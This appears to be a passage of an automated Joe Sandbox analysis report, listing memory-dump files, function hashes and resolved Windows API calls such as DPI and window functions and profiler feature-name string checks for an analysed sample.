Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8231de4cf5ebccbe1eeb085b4e5c7e6c006f9448fe48bb7aad51ec87ea4ad79
Instruction ID: 5c8cc7963476587fd51d71f6834a8fbb6e39f9090ca5b55e08666957078c91f7
Opcode Fuzzy Hash: a8231de4cf5ebccbe1eeb085b4e5c7e6c006f9448fe48bb7aad51ec87ea4ad79
Instruction Fuzzy Hash: 1A9102F290C314AFD704AF29DD4166AFBF5EF98720F16892DEAC983740E63558448B87

Function 0086427B Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5f1dc46a9429d4e3b318713cd66b50dc670893977498e7d1a8777853bf7f0f4
Instruction ID: 6225edc0d7865ad0c468eb1a25e79ae7adb72f3edb38088b76f735b29bca8ccb
Opcode Fuzzy Hash: a5f1dc46a9429d4e3b318713cd66b50dc670893977498e7d1a8777853bf7f0f4
Instruction Fuzzy Hash: E16105F3E186045BF3045A28DC8577AB7D6EB94320F2A863CDBC9873C4E9399D158786

Function 008CB476 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 856e8dac0046fdbd0c0284f529078bd706989291135f6aeb3eff3107055cb325
Instruction ID: 5258134068f9424ffb09518e8af379e6329fb085ed0981c2addf8ebfa51688af
Opcode Fuzzy Hash: 856e8dac0046fdbd0c0284f529078bd706989291135f6aeb3eff3107055cb325
Instruction Fuzzy Hash: 6251D1F3A183146BE7045D7DDD89777BBC9DB90620F19833DEA4493B88EC785D054192

Function 00936166 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53a2eb0095f68fee8a289b560ecb6937f4cba5963701cdcd8541742902007e54
Instruction ID: cc1b61727ca198fa148fc43b4742581af188f54fa128c082efbab5ca20e5b583
Opcode Fuzzy Hash: 53a2eb0095f68fee8a289b560ecb6937f4cba5963701cdcd8541742902007e54
Instruction Fuzzy Hash: 6B4133F3E285045BE30C192DEC65766769BDBD8320F2E463EE98697784E9754C014285

Function 009E4399 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6482f9ab67be67651cdb1d785c126157113a09f7dc525f579799446a169689
Instruction ID: 80fee47aab77344457998f58f90d6603e5104d393b7403e9e94be6d6171fc2c0
Opcode Fuzzy Hash: 5b6482f9ab67be67651cdb1d785c126157113a09f7dc525f579799446a169689
Instruction Fuzzy Hash: E5312BB260C6009BE309BF29D89667EBBE5EF98750F16492ED2C6C3750D6319440CB97

Function 00A7686C Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1484bf8c1f81949ae3357855229c7d9a4e576b1fb8b474088ebf58f599477a85
Instruction ID: 5f7745a92f9342e749339e6d6707970fec7a5e70a147e296f707ba764489b494
Opcode Fuzzy Hash: 1484bf8c1f81949ae3357855229c7d9a4e576b1fb8b474088ebf58f599477a85
Instruction Fuzzy Hash: E131A7B290D7049FE3057F29D8826BAFBE5FF98310F56482DD6C682604EB311481CB87

Function 005F9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

EnableNonClientDpiScaling, xrefs: 6C6B5666
ReleaseDC, xrefs: 6C6B5742
ShowWindow, xrefs: 6C6B56DE
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
LoadCursorW, xrefs: 6C6B5774
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
GetSystemMetricsForDpi, xrefs: 6C6B5677
LoadIconW, xrefs: 6C6B575B
SetWindowPos, xrefs: 6C6B56F7
user32, xrefs: 6C6B5601
MonitorFromWindow, xrefs: 6C6B578D
SetWindowLongPtrW, xrefs: 6C6B57B7
RegisterClassW, xrefs: 6C6B56AC
CreateWindowExW, xrefs: 6C6B56C5
GetDpiForWindow, xrefs: 6C6B5690
FillRect, xrefs: 6C6B5729
DeleteObject, xrefs: 6C6B57F9
GetMonitorInfoW, xrefs: 6C6B57A2
GetWindowDC, xrefs: 6C6B5710
StretchDIBits, xrefs: 6C6B57CC
gdi32, xrefs: 6C6B560A
CreateSolidBrush, xrefs: 6C6B57E4

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

power, xrefs: 6C69CE84
preferencereads, xrefs: 6C69CD92
mainthreadio, xrefs: 6C69CC7C
nativeallocations, xrefs: 6C69CDA8
processcpu, xrefs: 6C69CE6E
stackwalk, xrefs: 6C69CCF8
screenshots, xrefs: 6C69CCD4
jsallocations, xrefs: 6C69CD0E
java, xrefs: 6C69CC37
markersallthreads, xrefs: 6C69CE42
notimerresolutionchange, xrefs: 6C69CE00
unregisteredthreads, xrefs: 6C69CE58
ipcmessages, xrefs: 6C69CDBE
leaf, xrefs: 6C69CC66
Unrecognized feature "%s"., xrefs: 6C69CEA0
nostacksampling, xrefs: 6C69CD7C
noiostacks, xrefs: 6C69CCBE
default, xrefs: 6C69CC21
